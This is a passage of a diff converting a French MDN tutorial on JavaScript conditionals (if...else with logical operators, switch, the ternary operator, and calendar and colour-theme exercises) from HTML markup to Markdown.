voulez tester plusieurs conditions sans imbriquer des instructions <code>if...else</code> , les <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques">opérateurs logiques</a> pourront vous rendre service. Quand ils sont utilisés dans des conditions, les deux premiers sont représentés comme ci dessous :</p> +Si vous voulez tester plusieurs conditions sans imbriquer des instructions `if...else` , les [opérateurs logiques](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques) pourront vous rendre service. Quand ils sont utilisés dans des conditions, les deux premiers sont représentés comme ci dessous : -<ul> - <li><code>&&</code> — AND ; vous permet d'enchaîner deux ou plusieurs expressions de sorte que toutes doivent être individuellement égales à <code>true</code> pour que l'enemble de l'expression retourne <code>true</code>.</li> - <li><code>||</code> — OR ; vous permet d'enchaîner deux ou plusieurs expressions ensemble de sorte qu'il suffit qu'une au plus soit évaluée comme étant <code>true</code> pour que l'ensemble de l'expression renvoie <code>true</code>.</li> -</ul> +- `&&` — AND ; vous permet d'enchaîner deux ou plusieurs expressions de sorte que toutes doivent être individuellement égales à `true` pour que l'enemble de l'expression retourne `true`. +- `||` — OR ; vous permet d'enchaîner deux ou plusieurs expressions ensemble de sorte qu'il suffit qu'une au plus soit évaluée comme étant `true` pour que l'ensemble de l'expression renvoie `true`. -<p>Pour vous donner un exemple de AND, le morceau de code précedent peut être réécrit ainsi :</p> +Pour vous donner un exemple de AND, le morceau de code précedent peut être réécrit ainsi : -<pre class="brush: js">if (choice === 'sunny' && temperature < 86) { +```js +if (choice === 'sunny' && temperature < 86) { para.textContent = 'Il fait ' + temperature + ' degrés dehors — beau temps ensoleillé. Allez à la plage ou au parc et achetez une crème glacée.'; -} else if (choice === 'sunny' && temperature >= 86) { +} else if (choice === 'sunny' && temperature >= 86) { para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! Si vous voulez sortir, assurez‑vous d'avoir passé une crème solaire.'; -}</pre> +} +``` -<p>Ainsi, par exemple, le premier bloc de code ne sera exécuté que si <code>choice === 'sunny'</code> <em>ET</em> <code>temperature < 86</code> renvoient tous deux <code>true</code>.</p> +Ainsi, par exemple, le premier bloc de code ne sera exécuté que si `choice === 'sunny'` _ET_ `temperature < 86` renvoient tous deux `true`. -<p>Voyons un petit exemple avec OR :</p> +Voyons un petit exemple avec OR : -<pre class="brush: js">if (camionDeGlaces || etatDeLaMaison === 'on fire') { +```js +if (camionDeGlaces || etatDeLaMaison === 'on fire') { console.log('Vous devriez sortir de la maison rapidement.'); } else { console.log('Vous pouvez probablement rester dedans.'); -}</pre> +} +``` -<p>Le dernier type d'opérateur logique, NOT, exprimé par l'opérateur <code>!</code>, peut s'utiliser pour nier une expression. Combinons‑le avec OR dans cet exemple :</p> +Le dernier type d'opérateur logique, NOT, exprimé par l'opérateur `!`, peut s'utiliser pour nier une expression. Combinons‑le avec OR dans cet exemple : -<pre class="brush: js">if (!(camionDeGlaces || etatDeLaMaison === 'on fire')) { +```js +if (!(camionDeGlaces || etatDeLaMaison === 'on fire')) { console.log('Vous pouvez probablement rester dedans.'); } else { console.log('Vous devriez sortir de la maison rapidement.'); -}</pre> +} +``` -<p>Dans cet extrait, si la déclaration avec OR renvoie <code>true</code>, l'opérateur NOT va nier l'ensemble : l'expression retournera donc <code>false</code>.</p> +Dans cet extrait, si la déclaration avec OR renvoie `true`, l'opérateur NOT va nier l'ensemble : l'expression retournera donc `false`. -<p>Vous pouvez combiner autant d'instructions logiques que vous le souhaitez, quelle que soit la structure. L'exemple suivant n'exécute le code entre accolades que si les deux instructions OR renvoient true, l'instruction AND recouvrante renvoie alors <code>true</code> :</p> +Vous pouvez combiner autant d'instructions logiques que vous le souhaitez, quelle que soit la structure. L'exemple suivant n'exécute le code entre accolades que si les deux instructions OR renvoient true, l'instruction AND recouvrante renvoie alors `true` : -<pre class="brush: js">if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) { +```js +if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) { // exécuter le code -}</pre> +} +``` -<p>Une erreur fréquente avec l'opérateur OR dans des instructions conditionnelles est de n'indiquer la variable dont vous testez la valeur qu'une fois, puis de donner une liste de valeurs sensées renvoyer <code>true</code> séparées par des || (OR) opérateurs. Par exemple :</p> +Une erreur fréquente avec l'opérateur OR dans des instructions conditionnelles est de n'indiquer la variable dont vous testez la valeur qu'une fois, puis de donner une liste de valeurs sensées renvoyer `true` séparées par des || (OR) opérateurs. Par exemple : -<pre class="example-bad brush: js">if (x === 5 || 7 || 10 || 20) { +```js example-bad +if (x === 5 || 7 || 10 || 20) { // exécuter le code -}</pre> +} +``` -<p>Dans ce cas, la condition dans le <code>if(...) </code>sera toujours évaluée à vrai puisque 7 (ou toute autre valeur non nulle) est toujours <code>true</code>. Cette condition dit en réalité « si x est égal à 5, ou bien 7 est vrai » — ce qui est toujours le cas. Ce n'est pas ce que nous voulons logiquement ! Pour que cela fonctionne, vous devez définir un test complet entre chaque opérateur OR :</p> +Dans ce cas, la condition dans le `if(...) `sera toujours évaluée à vrai puisque 7 (ou toute autre valeur non nulle) est toujours `true`. Cette condition dit en réalité « si x est égal à 5, ou bien 7 est vrai » — ce qui est toujours le cas. Ce n'est pas ce que nous voulons logiquement ! Pour que cela fonctionne, vous devez définir un test complet entre chaque opérateur OR : -<pre class="brush: js">if (x === 5 || x === 7 || x === 10 ||x === 20) { +```js +if (x === 5 || x === 7 || x === 10 ||x === 20) { // exécuter le code -}</pre> +} +``` -<h2 id="Instruction_switch">Instruction switch</h2> +## Instruction switch -<p>Les Instructions <code>if...else</code> font bien le travail d'aiguiller la programmation selon des conditions, mais elles ne sont pas sans inconvénient. Elles sont principalement adaptées aux cas où vous avez un choix binaire, chacun nécessitant une quantité raisonnable de code à exécuter, et/ou au cas où les conditions sont complexes (par ex. plusieurs opérateurs logiques). Si vous voulez juste fixer la valeur d'une variable à un choix donné ou afficher une déclaration particulière en fonction d'une condition, cette syntaxe peut devenir un peu lourde, surtout si le nombre de choix est important.</p> +Les Instructions `if...else` font bien le travail d'aiguiller la programmation selon des conditions, mais elles ne sont pas sans inconvénient. Elles sont principalement adaptées aux cas où vous avez un choix binaire, chacun nécessitant une quantité raisonnable de code à exécuter, et/ou au cas où les conditions sont complexes (par ex. plusieurs opérateurs logiques). Si vous voulez juste fixer la valeur d'une variable à un choix donné ou afficher une déclaration particulière en fonction d'une condition, cette syntaxe peut devenir un peu lourde, surtout si le nombre de choix est important. -<p>Les <a href="/fr/docs/Web/JavaScript/Reference/Instructions/switch">instructions switch</a> sont vos amies — elles prennent une seule valeur ou expression en entrée, puis examinent une palette de choix jusqu'à trouver celui qui correspond, et exécutent le code qui va avec. Voici un peu de pseudo-code, pour vous donner l'idée :</p> +Les [instructions switch](/fr/docs/Web/JavaScript/Reference/Instructions/switch) sont vos amies — elles prennent une seule valeur ou expression en entrée, puis examinent une palette de choix jusqu'à trouver celui qui correspond, et exécutent le code qui va avec. Voici un peu de pseudo-code, pour vous donner l'idée : -<pre class="brush: js"><strong>switch (expression) {</strong> - <strong>case</strong> choix1<strong>:</strong> +```js +switch (expression) { + case choix1: exécuter ce code - <strong>break;</strong> + break; - <strong>case</strong> choix2<strong>:</strong> + case choix2: exécuter ce code à la place - <strong>break;</strong> + break; - // incorporez autant de <strong>case</strong> que vous le souhaitez + // incorporez autant de case que vous le souhaitez - <strong>default:</strong> + default: sinon, exécutez juste ce code -<strong>}</strong></pre> - -<p>Ici nous avons</p> - -<ol> - <li>Le mot‑clé <code>switch</code> suivi de parenthèses.</li> - <li>Une expression ou une valeur mise entre les parenthèses.</li> - <li>Le mot‑clé <code>case</code> suivi d'une expression ou d'une valeur, et de deux‑points.</li> - <li>Le code exécuté si l'expression/valeur de <code>case</code> correspond à celles de <code>switch</code>.</li> - <li>Une déclaration <code>break</code>, suivie d'un point‑virgule. Si le choix précédent correspond à l'expression/valeur, le navigateur va stopper l'exécution du bloc de code ici et continuer après l'instruction <strong>switch</strong>.</li> - <li>Vous pouvez rajouter autant de <strong>cas</strong> que vous le souhaitez. (points 3–5)</li> - <li>Le mot‑clé <code>default</code>, suivi d'une même structure de code qu'aux points 3-5, sauf que <code>default</code> n'a pas de choix après lui et n'a donc pas besoin de l'instruction <code>break</code> puisqu'il n'y a plus rien à exécuter après ce bloc. C'est l'option <code>default</code> qui sera exécutée si aucun choix ne correspond.</li> -</ol> - -<div class="note"> -<p><strong>Note :</strong> Vous n'avez pas à inclure la section <code>default</code> — elle peut être omise en toute sécurité s'il n'y a aucune chance que l'expression finisse par égaler une valeur inconnue. À contrario, vous devez l'inclure s'il est possible qu'il y ait des cas inconnus.</p> -</div> +} +``` + +Ici nous avons -<h3 id="Un_exemple_de_switch">Un exemple de switch</h3> +1. Le mot‑clé `switch` suivi de parenthèses. +2. Une expression ou une valeur mise entre les parenthèses. +3. Le mot‑clé `case` suivi d'une expression ou d'une valeur, et de deux‑points. +4. Le code exécuté si l'expression/valeur de `case` correspond à celles de `switch`. +5. Une déclaration `break`, suivie d'un point‑virgule. Si le choix précédent correspond à l'expression/valeur, le navigateur va stopper l'exécution du bloc de code ici et continuer après l'instruction **switch**. +6. Vous pouvez rajouter autant de **cas** que vous le souhaitez. (points 3–5) +7. Le mot‑clé `default`, suivi d'une même structure de code qu'aux points 3-5, sauf que `default` n'a pas de choix après lui et n'a donc pas besoin de l'instruction `break` puisqu'il n'y a plus rien à exécuter après ce bloc. C'est l'option `default` qui sera exécutée si aucun choix ne correspond. -<p>Voyons un exemple concret — nous allons réécrire notre application de prévision météo en utilisant une instruction <code>switch</code> à la place :</p> +> **Note :** Vous n'avez pas à inclure la section `default` — elle peut être omise en toute sécurité s'il n'y a aucune chance que l'expression finisse par égaler une valeur inconnue. À contrario, vous devez l'inclure s'il est possible qu'il y ait des cas inconnus. -<pre class="brush: html"><label for="weather">Select the weather type today: </label> -<select id="weather"> - <option value="">--Make a choice--</option> - <option value="sunny">Sunny</option> - <option value="rainy">Rainy</option> - <option value="snowing">Snowing</option> - <option value="overcast">Overcast</option> -</select> +### Un exemple de switch -<p></p></pre> +Voyons un exemple concret — nous allons réécrire notre application de prévision météo en utilisant une instruction `switch` à la place : -<pre class="brush: js">const select = document.querySelector('select'); +```html +<label for="weather">Select the weather type today: </label> +<select id="weather"> + <option value="">--Make a choice--</option> + <option value="sunny">Sunny</option> + <option value="rainy">Rainy</option> + <option value="snowing">Snowing</option> + <option value="overcast">Overcast</option> +</select> + +<p></p> +``` + +```js +const select = document.querySelector('select'); const para = document.querySelector('p'); select.addEventListener('change', setWeather); @@ -335,39 +355,43 @@ function setWeather() { default: para.textContent = ''; } -}</pre> +} +``` -<p>{{ EmbedLiveSample('Un_exemple_de_switch', '100%', 100) }}</p> +{{ EmbedLiveSample('Un_exemple_de_switch', '100%', 100) }} -<div class="note"> -<p><strong>Note :</strong> Vous trouverez également cet <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-switch.html">exemple sur GitHub</a> (voyez‑le en <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-switch.html">cours d'exécution </a>ici aussi.)</p> -</div> +> **Note :** Vous trouverez également cet [exemple sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-switch.html) (voyez‑le en [cours d'exécution ](http://mdn.github.io/learning-area/javascript/building-blocks/simple-switch.html)ici aussi.) -<h2 id="Opérateur_ternaire">Opérateur ternaire</h2> +## Opérateur ternaire -<p>Voici une dernière syntaxe que nous souhaitons vous présenter avant de nous amuser avec quelques exemples. L'<a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_conditionnel">opérateur ternaire ou conditionnel</a> est un petit morceau de code qui teste une condition et renvoie une valeur ou expression si elle est <code>true</code> et une autre si elle est <code>false</code> — elle est utile dans certains cas, et occupe moins de place qu'un bloc <code>if...else</code> si votre choix est limité à deux possibilités à choisir via une condition <code>true</code>/<code>false</code>. Voici le pseudo‑code correspondant :</p> +Voici une dernière syntaxe que nous souhaitons vous présenter avant de nous amuser avec quelques exemples. L'[opérateur ternaire ou conditionnel](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_conditionnel) est un petit morceau de code qui teste une condition et renvoie une valeur ou expression si elle est `true` et une autre si elle est `false` — elle est utile dans certains cas, et occupe moins de place qu'un bloc `if...else` si votre choix est limité à deux possibilités à choisir via une condition `true`/`false`. Voici le pseudo‑code correspondant : -<pre>( condition ) ? exécuter ce code : exécuter celui‑ci à la place</pre> + ( condition ) ? exécuter ce code : exécuter celui‑ci à la place -<p>Regardons cet exemple simple :</p> +Regardons cet exemple simple : -<pre class="brush: js">let formuleDePolitesse = ( est_anniversaire ) ? 'Bon anniversaire Mme Smith — nous vous souhaitons une belle journée !' : 'Bonjour Mme Smith.';</pre> +```js +let formuleDePolitesse = ( est_anniversaire ) ? 'Bon anniversaire Mme Smith — nous vous souhaitons une belle journée !' : 'Bonjour Mme Smith.'; +``` -<p>Ici, nous avons une variable nommée <code>est_anniversaire</code> — si elle est <code>true</code>, nous adressons à notre hôte un message de « Bon anniversaire » ; si ce n'est pas le cas, c'est-à-dire si <code>est_anniversaire</code> renvoie <code>false</code>, nous disons simplement « Bonjour ».</p> +Ici, nous avons une variable nommée `est_anniversaire` — si elle est `true`, nous adressons à notre hôte un message de « Bon anniversaire » ; si ce n'est pas le cas, c'est-à-dire si `est_anniversaire` renvoie `false`, nous disons simplement « Bonjour ». -<h3 id="Exemple_opérateur_ternaire">Exemple opérateur ternaire</h3> +### Exemple opérateur ternaire -<p>L'opérateur ternaire ne sert pas qu'à définir des valeurs de variables ; vous pouvez aussi exécuter des fonctions, ou des lignes de code — ce que vous voulez. Voici un exemple concret de choix de thème où le style du site est déterminé grâce à un opérateur ternaire.</p> +L'opérateur ternaire ne sert pas qu'à définir des valeurs de variables ; vous pouvez aussi exécuter des fonctions, ou des lignes de code — ce que vous voulez. Voici un exemple concret de choix de thème où le style du site est déterminé grâce à un opérateur ternaire. -<pre class="brush: html"><label for="theme">Select theme: </label> -<select id="theme"> - <option value="white">White</option> - <option value="black">Black</option> -</select> +```html +<label for="theme">Select theme: </label> +<select id="theme"> + <option value="white">White</option> + <option value="black">Black</option> +</select> -<h1>This is my website</h1></pre> +<h1>This is my website</h1> +``` -<pre class="brush: js">const select = document.querySelector('select'); +```js +const select = document.querySelector('select'); const html = document.querySelector('html'); document.body.style.padding = '10px'; @@ -379,69 +403,62 @@ function update(bgColor, textColor) { select.onchange = function() { ( select.value === 'black' ) ? update('black','white') : update('white','black'); } -</pre> +``` -<p>{{ EmbedLiveSample('Exemple_opérateur_ternaire', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Exemple_opérateur_ternaire', '100%', 300, "", "", "hide-codepen-jsfiddle") }} -<p>Nous mettons un élément {{htmlelement('select')}} pour choisir un thème (noir ou blanc), plus un simple élément {{htmlelement('h1')}} pour afficher un titre de site web. Nous avons aussi une fonction <code>update()</code>, qui prend deux couleurs en paramètre (entrées). La couleur de fond du site est déterminée par la couleur indiquée dans le premier paramètre fourni, et la couleur du texte par le deuxième.</p> +Nous mettons un élément {{htmlelement('select')}} pour choisir un thème (noir ou blanc), plus un simple élément {{htmlelement('h1')}} pour afficher un titre de site web. Nous avons aussi une fonction `update()`, qui prend deux couleurs en paramètre (entrées). La couleur de fond du site est déterminée par la couleur indiquée dans le premier paramètre fourni, et la couleur du texte par le deuxième. -<p>Nous avons également mis un écouteur d'événement <a href="/fr/docs/Web/API/GlobalEventHandlers/onchange">onchange</a> qui sert à exécuter une fonction contenant un opérateur ternaire. Il débute par un test de condition — <code>select.value === 'black'</code>. Si le test renvoie <code>true</code>, nous exécutons la fonction <code>update()</code> avec les paramètres blanc et noir : cela signifie que le fond sera noir et le texte blanc. S'il renvoie <code>false</code>, nous exécutons <code>update()</code> avec les paramètres noir et blanc, les couleurs du site seront inversées.</p> +Nous avons également mis un écouteur d'événement [onchange](/fr/docs/Web/API/GlobalEventHandlers/onchange) qui sert à exécuter une fonction contenant un opérateur ternaire. Il débute par un test de condition — `select.value === 'black'`. Si le test renvoie `true`, nous exécutons la fonction `update()` avec les paramètres blanc et noir : cela signifie que le fond sera noir et le texte blanc. S'il renvoie `false`, nous exécutons `update()` avec les paramètres noir et blanc, les couleurs du site seront inversées. -<div class="note"> -<p><strong>Note :</strong> Vous trouverez également cet <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-ternary.html">exemple sur GitHub</a> (voyez‑le en <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-ternary.html">cours d'exécution </a>ici aussi.)</p> -</div> +> **Note :** Vous trouverez également cet [exemple sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-ternary.html) (voyez‑le en [cours d'exécution ](http://mdn.github.io/learning-area/javascript/building-blocks/simple-ternary.html)ici aussi.) -<h2 id="Apprentissage_actif_un_calendrier_simple">Apprentissage actif : un calendrier simple</h2> +## Apprentissage actif : un calendrier simple -<p>Dans cet exemple nous allons vous aider à finaliser une application de calendrier simple. Dans le code, vous avez :</p> +Dans cet exemple nous allons vous aider à finaliser une application de calendrier simple. Dans le code, vous avez : -<ul> - <li>Un élément {{htmlelement("select")}} permettant à l'utilisateur de choisir un mois.</li> - <li>Un pilote d'événement <code>onchange</code> pour détecter si la valeur choisie dans le menu <code><select></code> a été modifiée.</li> - <li>Une fonction <code>createCalendar()</code> qui trace le calendrier et affiche le mois voulu dans l'élément {{htmlelement("h1")}}.</li> -</ul> +- Un élément {{htmlelement("select")}} permettant à l'utilisateur de choisir un mois. +- Un pilote d'événement `onchange` pour détecter si la valeur choisie dans le menu `<select>` a été modifiée. +- Une fonction `createCalendar()` qui trace le calendrier et affiche le mois voulu dans l'élément {{htmlelement("h1")}}. -<p>Vous aurez besoin d'écrire une instruction conditionnelle dans la fonction <code>onchange</code>, juste au dessous du commentaire <code>// AJOUTER LA CONDITION ICI</code>. Elle doit :</p> +Vous aurez besoin d'écrire une instruction conditionnelle dans la fonction `onchange`, juste au dessous du commentaire `// AJOUTER LA CONDITION ICI`. Elle doit : -<ol> - <li>Noter le mois choisi (enregistré dans la variable <code>choice</code>. Ce doit être la valeur de l'élément <code><select></code> après un changement, "Janvier" par exemple).</li> - <li>Faire en sorte que la variable nommée <code>days</code> soit égale au nombre de jours du mois sélectionné. Pour ce faire, examinez le nombre de jours dans chaque mois de l'année. Vous pouvez ignorer les années bissextiles pour les besoins de cet exemple.</li> -</ol> +1. Noter le mois choisi (enregistré dans la variable `choice`. Ce doit être la valeur de l'élément `<select>` après un changement, "Janvier" par exemple). +2. Faire en sorte que la variable nommée `days` soit égale au nombre de jours du mois sélectionné. Pour ce faire, examinez le nombre de jours dans chaque mois de l'année. Vous pouvez ignorer les années bissextiles pour les besoins de cet exemple. -<p>Conseils :</p> +Conseils : -<ul> - <li>Utilisez un OR logique pour grouper plusieurs mois ensemble dans une même condition, beaucoup d'entre eux ont le même nombre de jours.</li> - <li>Voyez quel est le nombre de jours le plus courant et utilisez le comme valeur par défaut.</li> -</ul> +- Utilisez un OR logique pour grouper plusieurs mois ensemble dans une même condition, beaucoup d'entre eux ont le même nombre de jours. +- Voyez quel est le nombre de jours le plus courant et utilisez le comme valeur par défaut. -<p>Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton "Réinitialiser". Si vous êtes vraiment bloqué, pressez "Voir la solution".</p> +Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton "Réinitialiser". Si vous êtes vraiment bloqué, pressez "Voir la solution". -<pre class="brush: html hidden"><div class="output" style="height: 500px;overflow: auto;"> - <label for="month">Choisissez un mois : </label> - <select id="month"> - <option value="Janvier">Janvier</option> - <option value="Février">Février</option> - <option value="Mars">Mars</option> - <option value="Avril">Avril</option> - <option value="Mai">Mai</option> - <option value="Juin">Juin</option> - <option value="Juillet">Juillet</option> - <option value="Août">Août</option> - <option value="Septembre">Septembre</option> - <option value="Octobre">Octobre</option> - <option value="Novembre">Novembre</option> - <option value="Decembre">Décembre</option> - </select> +```html hidden +<div class="output" style="height: 500px;overflow: auto;"> + <label for="month">Choisissez un mois : </label> + <select id="month"> + <option value="Janvier">Janvier</option> + <option value="Février">Février</option> + <option value="Mars">Mars</option> + <option value="Avril">Avril</option> + <option value="Mai">Mai</option> + <option value="Juin">Juin</option> + <option value="Juillet">Juillet</option> + <option value="Août">Août</option> + <option value="Septembre">Septembre</option> + <option value="Octobre">Octobre</option> + <option value="Novembre">Novembre</option> + <option value="Decembre">Décembre</option> + </select> - <h1></h1> + <h1></h1> - <ul></ul> -</div> + <ul></ul> +</div> -<hr> +<hr> -<textarea id="code" class="playable-code" style="height: 500px;"> +<textarea id="code" class="playable-code" style="height: 500px;"> var select = document.querySelector('select'); var list = document.querySelector('ul'); var h1 = document.querySelector('h1'); @@ -457,7 +474,7 @@ select.onchange = function() { function createCalendar(days, choice) { list.innerHTML = ''; h1.textContent = choice; - for (var i = 1; i <= days; i++) { + for (var i = 1; i <= days; i++) { const listItem = document.createElement('li'); listItem.textContent = i; list.appendChild(listItem); @@ -465,15 +482,16 @@ function createCalendar(days, choice) { } createCalendar(31,'Janvier'); -</textarea> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div> -</pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">.output * { +```css hidden +.output * { box-sizing: border-box; } @@ -491,9 +509,10 @@ createCalendar(31,'Janvier'); background-color: #4A2DB6; color: white; } -</pre> +``` -<pre class="brush: js hidden">const textarea = document.getElementById('code'); +```js hidden +const textarea = document.getElementById('code'); const reset = document.getElementById('reset'); const solution = document.getElementById('solution'); let code = textarea.value; @@ -512,42 +531,41 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var select = document.querySelector(\'select\');\nvar list = document.querySelector(\'ul\');\nvar h1 = document.querySelector(\'h1\');\n\nselect.onchange = function() {\n var choice = select.value;\n var days = 31;\n if(choice === \'February\') {\n days = 28;\n } else if(choice === \'April\' || choice === \'June\' || choice === \'September\'|| choice === \'November\') {\n days = 30;\n }\n\n createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = \'\';\n h1.textContent = choice;\n for(var i = 1; i <= days; i++) {\n var listItem = document.createElement(\'li\');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,\'January\');'; +var jsSolution = 'var select = document.querySelector(\'select\');\nvar list = document.querySelector(\'ul\');\nvar h1 = document.querySelector(\'h1\');\n\nselect.onchange = function() {\n var choice = select.value;\n var days = 31;\n if(choice === \'February\') {\n days = 28;\n } else if(choice === \'April\' || choice === \'June\' || choice === \'September\'|| choice === \'November\') {\n days = 30;\n }\n\n createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = \'\';\n h1.textContent = choice;\n for(var i = 1; i <= days; i++) {\n var listItem = document.createElement(\'li\');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,\'January\');'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); -</pre> +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_un_calendrier_simple', '100%', 1110, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Apprentissage_actif_un_calendrier_simple', '100%', 1110, "", "", "hide-codepen-jsfiddle") }} -<h2 id="Activité_plus_de_choix_de_couleurs">Activité : plus de choix de couleurs</h2> +## Activité : plus de choix de couleurs -<p>Nous allons reprendre l'exemple de l'opérateur ternaire vu plus haut et transformer cet opérateur ternaire en une directive <code>switch</code> qui nous permettra une plus grande variété de choix pour le site web tout simple. Voyez l'élément {{htmlelement("select")}} — cette fois, il n'y a pas deux options de thème, mais cinq. Il vous faut ajouter une directive <code>switch</code> au dessous du commentaire <code>// AJOUT D'UNE DIRECTIVE SWITCH</code> :</p> +Nous allons reprendre l'exemple de l'opérateur ternaire vu plus haut et transformer cet opérateur ternaire en une directive `switch` qui nous permettra une plus grande variété de choix pour le site web tout simple. Voyez l'élément {{htmlelement("select")}} — cette fois, il n'y a pas deux options de thème, mais cinq. Il vous faut ajouter une directive `switch` au dessous du commentaire `// AJOUT D'UNE DIRECTIVE SWITCH` : -<ul> - <li>Elle doit accepter la variable <code>choice</code> comme expression d'entrée.</li> - <li>Pour chaque cas, le choix doit être égal à une des valeurs possibles pouvant être choisies, c'est-à-dire blanc, noir, mauve, jaune ou psychédélique.</li> - <li>Chaque cas exécutera la fonction <code>update()</code> à laquelle deux valeurs de couleurs seront passées, la première pour le fond, la seconde pour le texte. Souvenez vous que les valeurs de couleurs sont des chaînes ; elle doivent donc être mises entre guillemets.</li> -</ul> +- Elle doit accepter la variable `choice` comme expression d'entrée. +- Pour chaque cas, le choix doit être égal à une des valeurs possibles pouvant être choisies, c'est-à-dire blanc, noir, mauve, jaune ou psychédélique. +- Chaque cas exécutera la fonction `update()` à laquelle deux valeurs de couleurs seront passées, la première pour le fond, la seconde pour le texte. Souvenez vous que les valeurs de couleurs sont des chaînes ; elle doivent donc être mises entre guillemets. -<p>Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton « Réinitialiser ». Si vous êtes vraiment bloqué, pressez « Voir la solution ».</p> +Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton « Réinitialiser ». Si vous êtes vraiment bloqué, pressez « Voir la solution ». -<pre class="brush: html hidden"><div class="output" style="height: 300px;"> - <label for="theme">Choisissez un thème : </label> - <select id="theme"> - <option value="white">Blanc</option> - <option value="black">Noir</option> - <option value="purple">Mauve</option> - <option value="yellow">Jaune</option> - <option value="psychedelic">Psychédélique</option> - </select> +```html hidden +<div class="output" style="height: 300px;"> + <label for="theme">Choisissez un thème : </label> + <select id="theme"> + <option value="white">Blanc</option> + <option value="black">Noir</option> + <option value="purple">Mauve</option> + <option value="yellow">Jaune</option> + <option value="psychedelic">Psychédélique</option> + </select> - <h1>Voici mon site Web</h1> -</div> + <h1>Voici mon site Web</h1> +</div> -<hr> +<hr> -<textarea id="code" class="playable-code" style="height: 450px;"> +<textarea id="code" class="playable-code" style="height: 450px;"> const select = document.querySelector('select'); const html = document.querySelector('.output'); @@ -560,15 +578,16 @@ select.onchange = function() { function update(bgColor, textColor) { html.style.backgroundColor = bgColor; html.style.color = textColor; -}</textarea> +}</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div> -</pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: js hidden">const textarea = document.getElementById('code'); +```js hidden +const textarea = document.getElementById('code'); const reset = document.getElementById('reset'); const solution = document.getElementById('solution'); let code = textarea.value; @@ -591,33 +610,29 @@ const jsSolution = 'const select = document.querySelector(\'select\');\nlet html textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); -</pre> +``` -<p>{{ EmbedLiveSample('Activité_plus_de_choix_de_couleurs', '100%', 850) }}</p> +{{ EmbedLiveSample('Activité_plus_de_choix_de_couleurs', '100%', 850) }} -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>C'est tout ce qu'il est nécessaire de connaître à propos des structures conditionnelles en JavaScript pour le moment ! Je pense que vous avez assurément compris ces concepts et travaillé les exemples aisément ; s'il y a quelque chose que vous n'avez pas compris, relisez cet article à nouveau, ou bien <a href="/fr/Apprendre#Nous_contacter">contactez‑nous</a> pour une aide.</p> +C'est tout ce qu'il est nécessaire de connaître à propos des structures conditionnelles en JavaScript pour le moment ! Je pense que vous avez assurément compris ces concepts et travaillé les exemples aisément ; s'il y a quelque chose que vous n'avez pas compris, relisez cet article à nouveau, ou bien [contactez‑nous](/fr/Apprendre#Nous_contacter) pour une aide. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Math#Opérateurs_de_comparaison">Opérateurs de comparaison</a></li> - <li><a href="/fr/docs/Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs#Les_instructions_conditionnelles">Les instructions conditionnelles</a></li> - <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">Référence if...else</a></li> - <li><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_conditionnel">Référence opérateur conditionnel (ternaire)</a></li> -</ul> +- [Opérateurs de comparaison](/fr/docs/Learn/JavaScript/First_steps/Math#Opérateurs_de_comparaison) +- [Les instructions conditionnelles](/fr/docs/Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs#Les_instructions_conditionnelles) +- [Référence if...else](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) +- [Référence opérateur conditionnel (ternaire)](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_conditionnel) -<p>{{NextMenu("Apprendre/JavaScript/Building_blocks/Looping_code", "Apprendre/JavaScript/Building_blocks")}}</p> +{{NextMenu("Apprendre/JavaScript/Building_blocks/Looping_code", "Apprendre/JavaScript/Building_blocks")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/conditionals">Prendre des décisions dans du code — conditions</a></li> - <li><a 